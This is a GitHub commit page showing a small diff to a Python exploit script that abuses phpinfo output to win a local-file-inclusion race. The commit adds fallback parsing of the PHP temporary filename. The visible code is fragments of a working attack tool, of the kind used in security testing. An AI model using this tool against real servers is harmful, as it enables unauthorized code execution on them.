Skip to content

Commit

Permalink
Fix character matching for '>' and its URL entity encoding from @CaoZnZZ
Browse files Browse the repository at this point in the history
  • Loading branch information
swisskyrepo committed Oct 10, 2023
1 parent dd7525d commit 7f1823e
Showing 1 changed file with 5 additions and 1 deletion.
6 changes: 5 additions & 1 deletion File Inclusion/Files/phpinfolfi.py
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
if i == -1:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
Expand Down Expand Up @@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

Expand Down Expand Up @@ -193,4 +197,4 @@ def main():

if __name__=="__main__":
print("Don't forget to modify the LFI URL")
main()
main()

0 comments on commit 7f1823e

Please sign in to comment.